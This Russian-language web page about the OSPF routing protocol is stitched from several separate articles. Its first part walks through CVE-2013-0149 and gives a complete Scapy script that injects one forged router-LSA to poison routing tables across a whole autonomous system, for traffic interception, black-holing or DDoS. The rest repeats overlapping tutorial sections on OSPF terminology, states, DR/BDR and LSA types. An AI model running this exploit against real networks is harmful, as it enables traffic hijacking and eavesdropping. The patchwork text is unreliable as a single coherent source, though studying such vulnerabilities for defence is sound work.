Протокол ospf. Понимание протокола OSPF. Основные сведения. (ospf route). Терминология протокола OSPF

OSPF - это, пожалуй, самый распространенный протокол динамической маршрутизации. Чем крупнее предприятие, чем больше в нем подсетей, удаленных филиалов и представительств, тем выше вероятность встретить там OSPF. Его ценят за минимум служебного трафика, достаточно высокую скорость сходимости и неплохую масштабируемость. Долгое время считалось, что протокол надежен и безопасен. Ведь даже при компрометации одного роутера атакующий мог оказать лишь небольшое и крайне ограниченное воздействие на остальные маршрутизаторы внутри автономной системы, так как не существовало возможности провести глобальные изменения по всем таблицам маршрутизации. Но недавно все изменилось - один-единственный пакет может изменить все, и этот эффект будет постоянным!

WARNING

Вся информация предоставлена исключительно в ознакомительных целях. Ни редакция, ни автор не несут ответственности за любой возможный вред, причиненный материалами данной статьи.

Про маршрутизацию

Прежде чем начать повествование, давай немного освежим в памяти теорию. Для начала вспомним, что маршрутизация бывает двух типов: динамическая и статическая. Использование динамической маршрутизации позволяет избежать однообразного процесса добавления записей о маршрутах вручную и, соответственно, ошибок, связанных с этим процессом. Вместо этого протоколы динамической маршрутизации строят таблицы маршрутизации сами, автоматически, исходя из текущей конфигурации сети. Одним словом, это просто незаменимая технология, особенно когда сеть состоит не из трех маршрутизаторов, а хотя бы из тридцати. Кроме удобства, есть и другие плюсы. Например, отказоустойчивость. Имея сеть со статической маршрутизацией, достаточно непросто будет организовать резервные каналы, так как будет проблематично отслеживать доступность того или иного сегмента. Что касается протоколов маршрутизации, то они также делятся на две основные группы: междоменную маршрутизацию (Exterior gateway routing или Inter-AS) и внутридоменную (Interior gateway routing или Intra-AS). Самый известный представитель первой группы - это BGP, во вторую группу входит ряд протоколов - OSPF, IS-IS, EIGRP и практически мертвый RIP. Группу маршрутизаторов, обменивающихся маршрутной информацией на основе общего протокола, называют автономной системой (Autonomous System, сокращенно AS - эта аббревиатура дальше будет довольно часто появляться в статье). Вот, пожалуй, и все, что нам потребуется знать для начала.

OSPF в деталях

Как уже говорилось, OSPF - один из распространенных протоколов динамической маршрутизации. Но как же он работает? Маршрутизатор OSPF обнаруживает соседей, устанавливает отношения смежности и затем поддерживает соседство, используя протокол Hello. В пакетах этого протокола содержатся значения Router Priority (для выбора DR) и HelloInterval (интервал между пакетами Hello). Также указывается, как часто должно быть слышно соседа для определения его работоспособности (RouterDeadInterval). Значения HelloInterval и RouterDeadInterval должны быть идентичны для всех маршрутизаторов.

Перед тем как интерфейс начнет работать, проверяется наличие в сети маршрутизатора DR. DR (designated router) - это выделенный маршрутизатор, который выполняет две задачи: генерирует анонсы network-LSA (эти LSA содержат список маршрутизаторов, подключенных в данный момент к сети) и является смежным для всех остальных маршрутизаторов (в случае выхода из строя его функции берет на себя BDR - backup designated router). Если такой маршрутизатор уже задан, он принимается независимо от значения Router Priority. Если же маршрутизатор DR еще не назначен, им становится данный маршрутизатор, при условии, что он имеет наивысшее значение Router Priority.

Затем маршрутизатор описывает свою базу каналов, посылая соседу последовательность пакетов Database Description. Такой процесс обмена пакетами Database Description называется обменом базами данных (Database Exchange Process). После завершения процесса Database Exchange и выполнения всех запросов Link State базы данных синхронизированы и маршрутизаторы маркируются как смежные (fully adjacent). С этого момента отношения смежности являются полными и начинают анонсироваться router-LSA (объявления о состоянии каналов маршрутизатора).

LSA анонсируется каждые 30 минут (за это отвечает архитектурная константа LSRefreshTime), при этом каждый последующий LSA имеет больший sequence number, чем предыдущий. Разумеется, LSA с большим номером замещает тот, что с меньшим. Эти LSA расходятся по всей автономной системе путем так называемого флуда. Роутер, получивший LSA от одного из соседей, пересылает его всем остальным своим соседям, таким образом, каждый маршрутизатор составляет базу LSA DB.

На основе базы каналов каждый маршрутизатор строит дерево кратчайших путей, корнем которого является он сам. Это дерево содержит маршруты ко всем адресатам внутри AS. Маршрутная информация внешнего происхождения представляется как листья дерева. Дерево включает путь к любой сети или хосту. Но при пересылке пакетов адресату используется только следующий маршрутизатор (next hop).

Погрузимся еще глубже

А теперь познакомимся поближе с заголовком LSA (см. рис. 1). В рамках данной статьи нас будет интересовать LSA первого типа (type 1 или router-LSA). Он содержит поля type , Link State ID и Advertising Router . Комбинация этих трех полей уникальна для LSA.


Значение Link State ID определяет канал и обычно равно Router ID . Router ID (идентификатор маршрутизатора) - это 32-битовое число, которое идентифицирует маршрутизатор в пределах одной автономной системы. Этот идентификатор является уникальным в масштабе AS. Одним из вариантов идентификатора может служить наименьший из IP-адресов маршрутизатора.

Поле Advertising Router содержит идентификатор OSPF Router ID маршрутизатора, создавшего LSA. Для router-LSA это поле совпадает с полем Link State ID (обрати внимание, это очень важная информация из RFC, которая понадобится нам далее).

Sequence number (порядковый номер) - это 32-разрядное целое число со знаком, которое используется для обнаружения старых LSA и дубликатов. Пространство порядковых номеров линейно упорядочено, и больший порядковый номер соответствует более новой записи LSA. InitialSequenceNumber используется в качестве порядкового номера (LS Sequence Number) при создании первого анонса LSA и составляет 0x80000001 , а MaxSequenceNumber - это максимальное значение порядкового номера LSA и равняется 0x7fffffff (целое число со знаком).

Прием каждого нового анонса LSA должен подтверждаться. Для этого используются пакеты Link State Acknowledgment (LSAck). Но перед этим происходит несколько проверок. Если состояние соседа, приславшего пакеты, ниже Exchange, то LSAck отбрасываются.

Удаление LSA из базы данных маршрутизатора происходит в нескольких случаях. Это может быть перезапись более новым экземпляром во время флуда, ситуация, когда маршрутизатор сам генерирует новый пакет LSA или же запись удаляется в результате устаревания.

Защита OSPF

При обмене данными между маршрутизаторами протокол OSPF может использовать аутентификацию, для того чтобы гарантировать, что только доверенные роутеры могли участвовать в процессе маршрутизации. Заголовок OSPF-пакета включает поле типа аутентификации и 64-битовое поле данных, используемое соответствующей типу схемой аутентификации. Тип аутентификации может задаваться для каждого интерфейса (или, что эквивалентно, для сети/подсети). Определены три типа аутентификации - 0, 1 и 2:

  • 0 - без аутентификации (Null authentication);
  • 1 - простой пароль;
  • 2 - криптографическая аутентификация.

Криптографическая аутентификация считается достаточно устойчивой к раскрытию информации и обеспечивает надежную защиту от активных атак. При ее использовании каждый маршрутизатор добавляет цифровую подпись (message digest) к передаваемому пакету. На принимающей стороне для проверки аутентичности пакетов используется открытый ключ и цифровая подпись из принятого пакета OSPF. Уровень безопасности при криптографической аутентификации полностью определяется используемым алгоритмом (в настоящее время спецификация включает только алгоритм MD5) и качеством используемых ключей. Ни один из типов аутентификации OSPF не обеспечивает конфиденциальности и не предотвращает возможность анализа трафика.

Механизм fight back

Обычно получение своих же (self-originated) LSA-анонсов маршрутизатором вполне нормальное явление. Для их обнаружения он проверяет, чтобы поле Advertising Router в LSA совпадало с Router ID (это еще один важный момент, который поможет нам в дальнейшем). Если принятый self-originated пакет LSA оказывается новее последнего экземпляра, порожденного маршрутизатором, требуются специальные меры. В таком случае маршрутизатор устанавливает порядковый номер LSA на единицу больше, чем номер принятого анонса, и создает новый пакет LSA. Именно таким образом и работает механизм, который со временем получил неофициальное название fight back.

Если суммировать все сказанное, складывается впечатление, что с безопасностью OSPF протокола дела обстоят достаточно неплохо:

  • для каждого канала можно установить MD5-аутентификацию;
  • один LSA-пакет содержит только малую часть топологии сети;
  • отбрасывание LSA от неизвестных соседей;
  • механизм fight back.

Ранее известные атаки на OSPF

Протокол OSPF уже давно так или иначе подвергался разнообразным атакам. Это, например, была отправка собственных поддельных LSA - в случае контроля над одним маршрутизатором можно сгенерировать и отправить ложный LSA c заниженной стоимостью существующего соседа, в результате большой объем трафика пойдет через другой роутер, который может не справиться с нагрузкой. Такая атака, конечно, может принести некий результат, но все равно влияние будет незначительное.

Если же попытаться подделать LSA от другого роутера, то тут же сработает fight back механизм и атака будет нивелирована. Можно еще взять и анонсировать канал в сеть за пределами автономной системы. Но в таком случае это не повлияет на маршрутизацию внутри AS. Создать маршрутизатор-фантом? Тоже не вариант, так как OSPF выбрасывает LSA, пришедшие от неизвестных соседей.

Единственная атака, которая действительно могла пробить защиту, - это периодический инжект LSA-пакетов, постоянный и непрерывный. Но во-первых, это очень шумный вариант, а во-вторых, он достаточно непрост в реализации.

Поэтому и существовало мнение, что, даже если атакующий проник и захватил маршрутизатор, узнал MD5-пароли, он все равно не мог тотально влиять на всю AS.

OSPFv2 vs OSPFv3

Основные отличия OSPFv2 и OSPFv3 (помимо появившейся поддержки IPv6):

  • OSPFv3 включается на интерфейсах. Включение OSPF на интерфейсе автоматически создает процесс OSPF и соответствующую команду в конфигурационном файле;
  • анонсируются все сети, настроенные на интерфейсе;
  • новые типы LSA. Добавлены два новых типа LSA - Link LSA и Intra-Area Prefix LSA;
  • аутентификации в самом OSPFv3 нет. Используется аутентификация IPv6.

Выходим на исходную

Но недавно все изменилось. Если все прежние атаки приносили только незначительный эффект, влияя лишь на малую часть топологии, либо вызывали срабатывание защитных механизмов OSPF, либо были очень шумными, то представленная новая атака - скрытная, эффективная и приносит постоянные изменения по всей автономке. К ней потенциально уязвимы все вендоры, но на данный момент были подтверждены только Cisco и Juniper.


Давай взглянем на схему сети, которую мы будем атаковать (рис. 3). Для простоты положим, что мы имеем кольцо из маршрутизаторов и контролируем роутер R1. А в качестве жертвы выберем, допустим, роутер R10. Конечно, в нашем примере топология сети сильно упрощена, в реальных условиях обычно используется гораздо больше избыточных связей и маршрутизаторов, но для демонстрации атаки нам этого вполне хватит.

INFO

Концепт атаки был продемонстрирован на Black Hat USA 2013. Авторы: Gabi Nakibly, Eitan Menahem, Ariel Waizel и Yuval Elovici. Свои исследования протокола OSPF они начали еще в 2011 году, попутно проведя серию нескольких новых атак, которые, тем не менее, были сложнее в реализации и не обладали такой мощью, как данная атака.

Прицеливаемся

А теперь опять вернемся к заголовку LSA, точнее, к двум его полям: Link State ID и Advertising Router . Согласно RFC, только сам роутер может создавать свои собственные LSA, следовательно, эти два поля должны быть с одинаковым значением. Но OSPF не проверяет их на равенство. Кроме того, как мы уже знаем, механизм fight back срабатывает, только если эти поля одинаковы.

В итоге получается, что для того, чтобы успешно провести атаку, нужно отправить LSA (первого типа, router-LSA) со значением link state id = ID роутера жертвы и с advertising router = любому значению, отличному от ID роутера жертвы. Если этот ложный LSA будет иметь sequence number выше, чем sequence number текущеей правильной LSA, то поддельная LSA не только появится в DB на всех маршрутизаторах, но и заменит собой правильные LSA.

В итоге все таблицы маршрутизации на всех роутерах будут отравлены. Причем это постоянное явление, чтобы вернуть все как было, придется либо откатить атаку, либо вручную заходить на все маршрутизаторы и заново инициализировать процесс ospf. По сути, для проведения атаки даже не требуется полного контроля над каким-либо роутером в сети - достаточно всего лишь заинжектить один LSA-пакет в сеть так, чтобы любой маршрутизатор из сети принял его.

Подготовим вооружение

Ну что ж, пришло время применить все вышесказанное на практике. Прежде всего для проведения атаки нам понадобится утилита для пакет-крафтинга, например Scapy. Это крайне мощный инструмент, который позволяет вручную собирать пакеты уровень за уровнем, используя интерпретатор Python’а. После установки изначально Scapy не умеет работать с OSPF. Если выполнить load_contrib("ospf") , то будет выдано сообщение об ошибке: ERROR: No module named contrib.ospf . Поэтому необходимо дополнительно установить модуль ospf . Скачиваем его и попутно создаем каталог contrib:

Mkdir /usr/lib/python2.7/dist-packages/scapy/contrib

Затем переносим модуль в свежесозданный каталог:

Cp ospf.py /usr/lib/python2.7/dist-packages/scapy/contrib/

Теперь если зайти в scapy и просмотреть список подключенных модулей, то можно увидеть, что он успешно установлен:

# scapy >>> list_contrib() ospf: OSPF status=loads >>>

Казалось бы, это все, но не тут-то было. При попытке подгрузить ospf-модуль получаем следующую ошибку:

>>> load_contrib("ospf") ERROR: No module named contrib.ospf

Чтобы избавиться от нее, нужно создать скрипт инициализации:

Touch /usr/lib/python2.7/dist-packages/scapy/contrib/__init__.py

После этого Scapy полностью готов для работы с OSPF.

One shot, MANY hits

Теперь настало время перейти к созданию скрипта, который, отправляя всего один пакет, позволит получить контроль над всей AS. Сначала подключим все необходимые модули и отключим протокол IPv6:

#!/usr/bin/env python import scapy.config scapy.config.conf.ipv6_enabled = False from scapy.all import * load_contrib("ospf")

Затем зададим значения переменных, IP-адрес подконтрольного атакующему роутера, жертвы и, самое главное, Advertising Router (falseadv router), который не должен совпадать со значением router ID (victimrouter id):

Attacker_source_ip = "192.168.10.111" attacker_router_id = "192.168.10.101" victim_destination_ip = "192.168.10.60" victim_router_id = "192.168.10.6" false_adv_router = "192.168.47.47" seq_num = 0x80000700

Теперь собираем сам LSA-пакет, переменные будут подставлены автоматически:

FALSE_LSA = IP(src=attacker_source_ip, dst=victim_destination_ip)/ OSPF_Hdr(src=attacker_router_id)/ OSPF_LSUpd(lsalist=[ OSPF_Router_LSA(options=0x22, type=1, id=victim_router_id, adrouter=false_adv_router, seq=seq_num, linklist=[ OSPF_Link(id="192.168.10.7", data="192.168.10.60", type=2, metric=1), OSPF_Link(id="192.168.10.60", data="192.168.10.60", type=2, metric=1), OSPF_Link(id="192.168.50.0", data="255.255.255.0", type=3, metric=3)])])

И завершается скрипт функцией send, которая выбрасывает собранный пакет в сеть через указанный интерфейс:

Send(FALSE_LSA, iface="eth0")

Как видно, все достаточно просто. Достаточно его выполнить (# python hitOSPF.py), и несколько секунд спустя волна изменений пробежит по всему домену маршрутизации.

Что дает контроль над всей автономкой?

Контролируя всю автономную систему, можно как угодно управлять потоками трафика, например направлять их в черные дыры (black hole) или перенаправить часть трафика через подконтрольный атакующему маршрутизатор. Все это затем можно использовать для захвата и изучения интересующего трафика, к которому ранее не было доступа, не говоря уже про всевозможные сценарии DDoS-атак.

Одним из самых интересных вариантов видится как раз перенаправление трафика по другому маршруту. Выбросив маршрутизатор-жертву из общего процесса маршрутизации, можно заставить остальные роутеры пересчитать свои таблицы маршрутизации, и таким образом атакующий сможет наблюдать за гораздо большим объемом трафика, а в некоторых случаях и получить уникальный и не доступный никаким способом трафик.

INFO

Данная уязвимость получила свой номер CVE-2013-0149. В официальном отчете Cisco сообщается, что PSIRT (Cisco Product Security Incident Response Team) не опасаются какого-либо публичного раскрытия или использования этой уязвимости. Видимо, они все же немного ошиблись.

Возвращаем все на свои места

Чтобы откатить атаку, достаточно отправить еще один поддельный LSA-пакет, но в этот раз со значением Advertising Router , равным ID роутера жертвы. Причем у этого LSA должен быть больший sequence number, чем во время атаки. В таком случае запустится механизм fight back и все восстановится, причем у всех маршрутизаторов в AS.

Собираем гильзы

Пришло время подвести итоги. Как видишь, получив доступ к одному маршрутизатору, можно контролировать весь домен маршрутизации. Для этого не требуется каких-то особых условий, компрометации нескольких устройств или работы более одного атакующего. Оказалось, что практически все вендоры уязвимы к этой атаке, вероятно, потому, что никто не ожидал такого сценария. Как минимум Cisco и Juniper анонсировали Security Advisories и пофиксили уязвимость. Но очевидно, что тысячи и сотни тысяч устройств так и останутся уязвимыми. И даже не потому, что у многих компаний нет четкой политики обновления и своевременной установки патчей (хотя и это тоже), а потому, что по-прежнему в строю много старого оборудования, которое зачастую невозможно обновить, например из-за недостаточного объема карт памяти.

OSPF (Open Shortest Path Fisrt) - протокол маршрутизации по состоянию связей. Разработан для IP сетей рабочей группой IETF (Internet Engineering Task Force) и описан в соответсвующем RFC 2328. Относится к семейству протоколов "внутреннего шлюза" IGP (interior gateway protocol). Это открытый протокол то есть его использование не регламентируется никакими патентными ограничениями.

Протокол разрабатывался для использования в крупных сетях уровня предприятия. Но он спроектирован с возможностями легко масштабироваться. В его основу положено понятие зон (area). Поэтому он может быть использован как в отдельной единственной зоне в небольших сетях, так и в нескольких занах большой сети. Изменения маршрутной информации в
одной зоне, не повлияет на работоспособность другой так как между зонами распространяется только обобщенная информация (суммарные маршруты). Для взаимодействия нескольких зон используют магистральную зону с нулевым номером (Area0 или backbone).

Работа протокола основана на алгоритме Дейкстры также называемом "алгоритмом поиска кратчайшего пути" SFP (shortest path first). При поиске "кратчайшего пути" алгоритм анализирует состояние канала: его пропускную способность и надежность.

Терминология OSPF:

  • Интерфейс (interface) — фактичесмки порт (не важно физический или логический) маршрутизатора на котором "висит" подсеть.
  • Объявление о состоянии канала (link-state advertisement, LSA) — пакет пересылаемый от одного OSPF маршрутизатора другому (только в пределах соседства) в котором объявляются сети известные данному маршрутизатору и состояния его каналов.
  • Состояние канала (link state) — состояние канала между двумя маршрутизаторами или между маршрутизатором и клиентской сетью. Изменение состояния канала (падение/поднятие порта) вызывает рассылку пакетов LSA.
  • Метрика (metric) — показатель качества канала. Интегральный показатель суммирующий в себя все метрики промежуточных линков между маршрутизатором и сетью назначения. Чем это значение меньше, тем маршрут надежнее;
  • Автономная система (autonomous system) — группа маршрутизаторов, обменивающаяся маршрутизирующей информацией с помощью одного протокола маршрутизации.
  • Зона (area) — совокупность сетей и маршрутизаторов, имеющих один и тот же идентификатор зоны.
  • Соседи (neighbours) — два маршрутизатора, имеющие интерфейсы в общей сети.
  • Состояние соседства (adjacency) — взаимосвязь между определенными соседними маршрутизаторами, установленная с целью обмена информацией маршрутизации.
  • Hello-протокол (hello protocol) — внутренний в структуре OSPF протокол, используемый для установления и поддержания отношений соседства между роутерами.
  • База данных соседей (neighbours database) — локальный для маршрутизатора список соседей по зоне OSPF.
  • База данных состояния каналов (link state database, LSDB) — список всех записей о состоянии каналов. Встречается также термин топологическая база данных (topological database), употребляется как синоним базы данных состояния каналов.
  • Идентификатор маршрутизатора (router ID, RID) — 32-битовое число, уникальный в пределах автономной системы идентификатор маршрутизатора. Router ID выбирается следующим образом: если сконфигурироват Loopback0 интерфейс - его ip адрес становится Rouner ID. Если Loopback0 не создан то выбирается наибольший IP адрес среди активных на момент включения процесса OSPF интерфейсов маршрутизатора.

Принципы работы OSPF:

Главный принцип - кажды маршрутизатор внутри зоны хранит полную топологию своей зоны, то есть знает обо всех маршрутах и сетях в пределах зоны. Время приведения сети в это состояние (когда на каждом роутере OSPF есть полная таблица маршрутов) называется сходимостью. Все роутеры стремятся к тому чтобы сеть "сошлась".

Для этого каждый роутер OSPF проходит 7 стадий:

  1. Состояние отключено (down state). Это начальное состояние сети ospf только начал свою работу. В этом состоянии каждый роутер сам по себе. Никто друг друга не знает и никакой маршрутной информации в роутерах еще нет.
  2. Cостояние инициализации (init state). На этой стадии роутеры начинают обмениваться hello пакетами в попытках найти хот какого-нибудь соседа... Hello-пакеты рассылаются на все интерфейсы на которых поднят OSPF на мультикастный адрес 224.0.0.5. TTL в этих апакетов равен 1, поэтому их получают только роутеры находящиеся в пределах одного коммутируемого сегмента с интерфейсом отправителем.
  3. Двухстороннее соединение (Two-way) - на этой стадии все маршрутизаторы знают своих соседей и установили с ними adjacency
  4. ExStart - этап выбора DR и BDR зачем они нужны скажу ниже. DR становится маршрутизатор с наибольшим Router ID а BDR - второй "сверху".
  5. Обмен (Exchange) - роутеры обмениваются со своими соседями пакетами BDB (Data Base Description), которые содержат описание LSDB (Link State Data Base) - описание всех известных роутеру сетей.
  6. Загрузка (Loading) - на этом этапе происходит "сведение" LSDB на всех роутерах внутри зоны. Роутеры обмениваются информацией о неизвестных им ранее маршрутах. Правят свои локальные LSDB.
  7. Установка полной смежности (Full adjecency) - цель достигнута, все роутеры имеют идентичную LSDB. Лампочки моргают, пакеты бегают... Идилия до тех пор пока какому-нибудь линку не вздумается упасть...

Выделенный маршрутизатор (DR) и резервный выделенный маршрутизатор (BDR)

В сетях со множественным доступом отношения соседства должны быть установлены между всеми маршрутизаторами. Это приводит к тому, что рассылается большое количество копий LSA. Причем каждое изменение топологии сети приводит к возникновению новой волны рассылки LSA. В результате растет нагрузка на сеть, процессоры маршрутизаторов и увеличивается время сходимости сети. Для устранения этих проблем введены понятия DR и BDR маршрутизаторов управляющих рассылкой LSA.

Выделенный маршрутизатор (designated router, DR) — управляет процессом рассылки LSA в сети. Каждый маршрутизатор сети устанавливает отношения соседства с DR. Информация об изменениях в сети отправляется DR, маршрутизатором обнаружившим это изменение, а DR отвечает за то, чтобы эта информация была отправлена остальным маршрутизаторам сети.

Недостатком в схеме работы с DR маршрутизатором является то, что при выходе его из строя должен быть выбран новый DR. Новые отношения соседства должны быть сформированы и, пока базы данных маршрутизаторов не синхронизируются с базой данных нового DR, сеть будет недоступна для пересылки пакетов. Для устранения этого недостатка выбирается BDR.

Резервный выделенный маршрутизатор (backup designated router, BDR) . Каждый маршрутизатор сети устанавливает отношения соседства не только с DR, но и BDR. DR и BDR также устанавливают отношения соседства и между собой. При выходе из строя DR, BDR становится DR и выполняет все его функции. Так как маршрутизаторы сети установили отношения соседства с BDR, то время недоступности сети минимизируется.

Маршрутизатор, выбранный DR или BDR в одной присоединенной к нему сети со множественным доступом, может не быть DR (BDR) в другой присоединенной сети. Роль DR (BDR) является свойством интерфейса, а не свойством всего маршрутизатора.

Отношения соседства (Adjacency)

Для того, чтобы между маршрутизаторами установились отношения смежности необходимо чтобы выполнялись следующие условия:

  • Hello Interval для маршрутизаторов вступающих в отношения соседства должны совпадать. По умолчанию это 10 секунд в Broadcast сетях, типа Ethernet. Это своего рода KeepAlive сообщения. То есть каждые 10 секунд каждый маршрутизатор отправляет Hello пакет своему соседу, чтобы сказать: “Хей, я жив”,
  • Dead Interval этих маршрутизаторах должны быть идентичными. По умолчанию это 4 интервала Hello — 40 секунд. Если в течение этого времени от соседа не получено Hello, то он считается недоступным. После этого сосед запускает процедуру обновления LSDB т.к. топология сети изменилась.
  • Интерфейсы, подключенные друг к другу, должны быть в одной подсети.
  • Номера зон OSPF должны совпадать
  • Должен совпадать размер MTU

OSPFv3

С появлением IPv6была выпущена третья версия протокола OSPFv3 в который добавили следующие изменения:

  • Добавлена возможность включения OSPFv3 в режиме конфигурирования интерфейса, при этом автоматически запускается новый процесс OSPF и добавляется соответствующий раздел в файле конфигурации
  • Все сети (primory и secondary) привязанные к интерфейсу на котором настроен OSPF анонсируются;
  • Если на роутере не сконфигурировано ни одного IPv4 адреса - идентификатор Router ID должен быть настроен вручную;
  • Добавлены два новых типа LSA — Link LSA и Intra-Area Prefix LSA;
  • Области распространения LSA. Кроме существующих областей распространения в OSPFv2 — зона и автономная система, добавилась область — канал (области распространения LSA указаны в описании соответствующих LSA);
  • Несколько сущностей (instances) могут быть в пределах канала;
  • Пакеты OSPF отправляются с link-local адреса (за исключением virtual link);
  • Возможность защиты сессии паролем из протокола удалена. Протокол OSPFv3 использует механизм аутентификации IPv6;

А сейчас вкратце пробежимся по теории.

OSPF (Open Shortest Path First ) - протокол динамической маршрутизации, основанный на технологии отслеживания состояния канала (link-state technology) и использующий для нахождения кратчайшего пути Алгоритм Дейкстры (Dijkstra’s algorithm).

Последняя версия протокола представлена в RFC 2328 . Протокол OSPF представляет собой протокол внутреннего шлюза (Interior Gateway Protocol - IGP), распространяет информацию о доступных маршрутах между маршрутизаторами одной автономной системы.

OSPF предлагает решение следующих задач:

  • Увеличение скорости сходимости;
  • Поддержка сетевых масок переменной длины (VLSM);
  • Достижимость сети;
  • Использование пропускной способности;
  • Метод выбора пути.

Теория

Терминология протокола OSPF

  • Объявление о состоянии канала (link-state advertisement, LSA) - объявление описывает все каналы маршрутизатора, все интерфейсы и состояние каналов.
  • Состояние канала (link state) - состояние канала между двумя маршрутизаторами; обновления происходят при помощи пакетов LSA.
  • Метрика (metric) - условный показатель «стоимости» пересылки данных по каналу;
  • Автономная система (autonomous system) - группа маршрутизаторов, обменивающаяся маршрутизирующей информацией с помощью одного протокола маршрутизации.
  • Зона (area) - совокупность сетей и маршрутизаторов, имеющих один и тот же идентификатор зоны.
  • Соседи (neighbours) - два маршрутизатора, имеющие интерфейсы в общей сети.
  • Состояние соседства (adjacency) - взаимосвязь между определенными соседними маршрутизаторами установленная с целью обмена информацией маршрутизации.
  • Hello-пакеты (hello packets) - используются для поддержания соседских отношений.
  • База данных соседей (neighbours database) - список всех соседей.
  • База данных состояния каналов (link state database, LSDB) - список всех записей о состоянии каналов. Встречается также термин топологическая база данных (topological database), употребляется как синоним базы данных состояния каналов.
  • Идентификатор маршрутизатора (router ID, RID) - уникальное 32-битовое число, которое уникально идентифицирует маршрутизатор в пределах одной автономной системы.
  • Выделенный маршрутизатор (designated router, DR) - управляет процессом рассылки LSA в сети. Каждый маршрутизатор сети устанавливает отношения соседства с DR. Информация об изменениях в сети отправляется DR, маршрутизатором обнаружившим это изменение, а DR отвечает за то, чтобы эта информация была отправлена остальным маршрутизаторам сети.Недостатком в схеме работы с DR маршрутизатором является то, что при выходе его из строя должен быть выбран новый DR. Новые отношения соседства должны быть сформированы и, пока базы данных маршрутизаторов не синхронизируются с базой данных нового DR, сеть будет недоступна для пересылки пакетов. Для устранения этого недостатка выбирается BDR.
  • Резервный выделенный маршрутизатор (backup designated router, BDR) . Каждый маршрутизатор сети устанавливает отношения соседства не только с DR, но и BDR. DR и BDR также устанавливают отношения соседства и между собой. При выходе из строя DR, BDR становится DR и выполняет все его функции. Так как маршрутизаторы сети установили отношения соседства с BDR, то время недоступности сети минимизируется.

Краткое описание работы протокола

  1. Маршрутизаторы обмениваются hello-пакетами через все интерфейсы на которых активирован OSPF . Маршрутизаторы разделяющие общий канал передачи данных становятся соседями, когда они приходят к договоренности об определенных параметрах указанных в их hello-пакетах.
  2. На следующем этапе работы протокола маршрутизаторы будут пытаться перейти в состояние соседства со своими соседями. Переход в состояние соседства определяется типом маршрутизаторов обменивающихся hello-пакетами и типом сети по которой передаются hello-пакеты. OSPF определяет несколько типов сетей и несколько типов маршрутизаторов. Пара маршрутизаторов, находящихся в состоянии соседства синхронизирует между собой базу данных состояния каналов.
  3. Каждый маршрутизатор посылает объявление о состоянии канала маршрутизаторам с которыми он находится в состоянии соседства.
  4. Каждый маршрутизатор получивший объявление от соседа записывает информацию передаваемую в нем в базу данных состояния каналов маршрутизатора и рассылает копию объявления всем другим своим соседям.
  5. Рассылая объявления через зону, все маршрутизаторы строят идентичную базу данных состояния каналов маршрутизатора.
  6. Когда база данных построена, каждый маршрутизатор использует алгоритм кратчайший путь первым для вычисления графа без петель, который будет описывать кратчайший путь к каждому известному пункту назначения с собой в качестве корня. Этот граф это дерево кратчайшего пути.
  7. Каждый маршрутизатор строит таблицу маршрутизации из своего дерева кратчайшего пути.

В сетях со множественным доступом отношения соседства должны быть установлены между всеми маршрутизаторами. Это приводит к тому, что рассылается большое количество копий LSA. Если, к примеру, количество маршрутизаторов в сети со множественным доступом равно n , то будет установлено n(n-1)/2 отношений соседства. Каждый маршрутизатор будет рассылать n-1 LSA своим соседям, плюс одно LSA для сети, в результате сеть сгенерирует n? LSA.

Маршрутизатор, выбранный DR или BDR в одной присоединенной к нему сети со множественным доступом, может не быть DR (BDR) в другой присоединенной сети. Роль DR (BDR) является свойством интерфейса, а не свойством всего маршрутизатора.

Таймеры протокола

  • HelloInterval - Интервал времени в секундах по истечению которого маршрутизатор отправляет следующий hello-пакет с интерфейса. Для широковещательных сетей и сетей точка-точка значение по умолчанию, как правило, 10 секунд. Для нешироковещательных сетей со множественным доступом значение по умолчанию 30 секунд.
  • RouterDeadInterval - Интервал времени в секундах по истечению которого сосед будет считаться «мертвым». Этот интервал должен быть кратным значению HelloInterval. Как правило, RouterDeadInterval равен 4 интервалам отправки hello-пакетов, то есть 40 секунд.
  • Wait Timer - Интервал времени в секундах по истечению которого маршрутизатор выберет DR в сети. Его значение равно значению интервала RouterDeadInterval.
  • RxmtInterval - Интервал времени в секундах по истечению которого маршрутизатор повторно отправит пакет на который не получил подтверждения о получении (например, Database Description пакет или Link State Request пакеты). Это интервал называется также Retransmit interval. Значение интервала 5 секунд.

Типы маршрутизаторов

Внутренний маршрутизатор (internal router) - маршрутизатор все интерфейсы которого принадлежат одной зоне. У таких маршрутизаторов только одна база данных состояния каналов.

Пограничный маршрутизатор (area border router, ABR) - соединяет одну или больше зон с магистральной зоной и выполняет функции шлюза для межзонального трафика. У пограничного маршрутизатора всегда хотя бы один интерфейс принадлежит магистральной зоне. Для каждой присоединенной зоны маршрутизатор поддерживает отдельную базу данных состояния каналов.

Магистральный маршрутизатор (backbone router) - маршрутизатор у которого всегда хотя бы один интерфейс принадлежит магистральной зоне. Определение похоже на пограничный маршрутизатор, однако магистральный маршрутизатор не всегда является пограничным. Внутренний маршрутизатор интерфейсы которого принадлежат нулевой зоне, также является магистральным.

Пограничный маршрутизатор автономной системы (AS boundary router, ASBR) - обменивается информацией с маршрутизаторами принадлежащими другим автономным системам. Пограничный маршрутизатор автономной системы может находиться в любом месте автономной системы и быть внутренним, пограничным или магистральным маршрутизатором.

Типы объявлений о состоянии канала (LSA)

Type 1 LSA - Router LSA - объявление о состоянии каналов маршрутизатора. Эти LSA распространяются всеми маршрутизаторами. В LSA содержится описание всех каналов маршрутизатора и стоимость (cost) каждого канала. Распространяются только в пределах одной зоны.

Type 2 LSA - Network LSA - объявление о состоянии каналов сети. Распространяется DR в сетях со множественным доступом. В LSA содержится описание всех маршрутизаторов присоединенных к сети, включая DR. Распространяются только в пределах одной зоны.

Type 3 LSA - Network Summary LSA - суммарное объявление о состоянии каналов сети. Объявление распространяется пограничными маршрутизаторами. Объявление описывает только маршруты к сетям вне зоны и не описывает маршруты внутри автономной системы. Пограничный маршрутизатор отправляет отдельное объявление для каждой известной ему сети.

Когда маршрутизатор получает Network Summary LSA от пограничного маршрутизатора он не запускает алгоритм вычисления кратчайшего пути. Маршрутизатор просто добавляет к стоимости маршрута указанного в LSA стоимость маршрута к пограничному маршрутизатору. Затем маршрут к сети через пограничный маршрутизатор помещается в таблицу маршрутизации.

Type 4 LSA - ASBR Summary LSA - суммарное объявление о состоянии каналов пограничного маршрутизатора автономной системы. Объявление распространяется пограничными маршрутизаторами. ASBR Summary LSA отличается от Network Summary LSA тем, что распространяется информация не о сети, а о пограничном маршрутизаторе автономной системы.

